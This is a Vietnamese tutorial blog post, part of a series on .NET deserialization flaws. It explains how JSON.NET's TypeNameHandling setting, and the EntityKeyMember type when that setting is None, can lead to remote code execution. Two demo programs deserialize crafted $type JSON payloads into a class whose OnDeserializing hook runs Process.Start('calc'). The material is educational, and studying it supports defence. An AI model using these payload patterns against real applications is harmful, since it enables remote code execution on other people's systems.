0
0
Lập trình
Thaycacac
Thaycacac thaycacac

Khám Phá Lỗ Hổng Deserialization Trong .NET: Tìm Hiểu Về JSON.NET (Phần 2)

Đăng vào 3 tuần trước

• 5 phút đọc

Giới Thiệu

Bài viết này nằm trong chuỗi seri khám phá các vấn đề về deserialization trong .NET. Chúng ta sẽ đi sâu tìm hiểu về thư viện JSON.NET, hay còn gọi là Newtonsoft.Json. Mặc dù không phải là thư viện chính thức của Microsoft, nhưng JSON.NET được nhiều lập trình viên ưa chuộng nhờ vào hiệu suất vượt trội của nó.

So Sánh Hiệu Suất

JSON.NET cung cấp hiệu suất cao trong việc xử lý và chuyển đổi dữ liệu JSON. Variants khác nhau trong cài đặt deserialization của thư viện này giúp linh hoạt hơn trong việc xử lý dữ liệu.

Hướng Dẫn Sử Dụng JSON.NET

Dưới đây là một ví dụ đơn giản để bạn tham khảo cách Serialize và Deserialize đối tượng với JSON.NET.

csharp Copy
using Newtonsoft.Json;
using System;

namespace Json.NetSerializer
{
    class Person
    {
        public string Name { get; set; }
    }
    class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "jack";
            string v = JsonConvert.SerializeObject(person);
            string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.None
            });
            string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.All
            });
            Console.WriteLine(v);
            Console.WriteLine(v1);
            Console.WriteLine(v2);
            Console.ReadKey();
        }
    }
}

Kết Quả Chạy Chương Trình

Khi chạy đoạn mã trên, bạn sẽ thấy rõ sự khác biệt giữa các cách thiết lập TypeNameHandling. Khi thiết lập TypeNameHandling.All, dữ liệu JSON trả về sẽ bao gồm thông tin về kiểu dữ liệu đã được serialize.

Điều Kiện Gây Ra RCE

Để có thể khai thác lỗ hổng, giá trị của TypeNameHandling phải khác None và bạn cần kiểm soát giá trị JSON đầu vào để thực hiện quá trình deserialize. Đồng thời, đối tượng được deserialize cần có các thuộc tính kiểu dữ liệu object.

Nếu TypeNameHandling bằng None, thì thuộc tính phải có kiểu dữ liệu System.Data.EntityKeyMember hoặc các kiểu kế thừa của nó.

Các Trường Hợp Demo

Trường Hợp 1: TypeNameHandling Khác None

csharp Copy
public class Person
{
    public Person(string cmd)
    {
        this._cmd = cmd;
    }
    public string Name { get; set; }
    private string _cmd;
    public string cmd
    {
        get
        {
            return this._cmd;
        }
        set
        {
            this._cmd = value;
        }
    }
    private void Run()
    {
        System.Diagnostics.Process.Start(this._cmd);
    }

    [OnDeserializing]
    public void During(StreamingContext context)
    {
        this.Run();
    }
}
public class Json
{
    public Json() {}
    public string id { get; set; }
    public object a;
}
internal class Program
{
    static void Main(string[] args)
    {
        Person person = new Person("calc");
        person.Name = "jack";
        Json test = new Json();
        test.a = person;
        string v2 = JsonConvert.SerializeObject(test, new JsonSerializerSettings()
        {
            TypeNameHandling = TypeNameHandling.All
        });
        Console.WriteLine(v2);
         string payload = "{\"$type\":\"demo.Json, demo\",\"a\":{\"$type\":\"demo.Person, demo\",\"Name\":\"jack\",\"cmd\":\"calc\"},\"id\":null}";
        Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.All});

        Console.ReadKey(); 
    }
}

Trường Hợp 2: TypeNameHandling Bằng None

csharp Copy
public class Person
{
    public Person(string cmd)
    {
        this._cmd = cmd;
    }
    public string Name { get; set; }
    private string _cmd;
    public string cmd
    {
        get
        {
            return this._cmd;
        }
        set
        {
            this._cmd = value;
        }
    }
    private void Run()
    {
        System.Diagnostics.Process.Start(this._cmd);
    }

    [OnDeserializing]
    public void During(StreamingContext context)
    {
        this.Run();
    }
}
public class Json
{
    public Json() {}
    public string id { get; set; }
    public System.Data.EntityKeyMember b;
}
internal class Program
{
    static void Main(string[] args)
    {
        string payload = "{\"b\":{\"Key\":\"key\",\"Type\":\"demo.Person, demo\",\"Value\":{\"cmd\":\"calc\"}},\"id\":\"123\"}";
        Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.None});
        Console.ReadKey();
    }
}

Để tìm hiểu thêm về các lỗ hổng thực tiễn và cách khai thác, bạn có thể tham khảo bài viết chi tiết của tôi tại đây.

Tham Khảo

Bạn có thể tham khảo thêm thông tin chi tiết tại Github của tôi.
source: viblo

Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào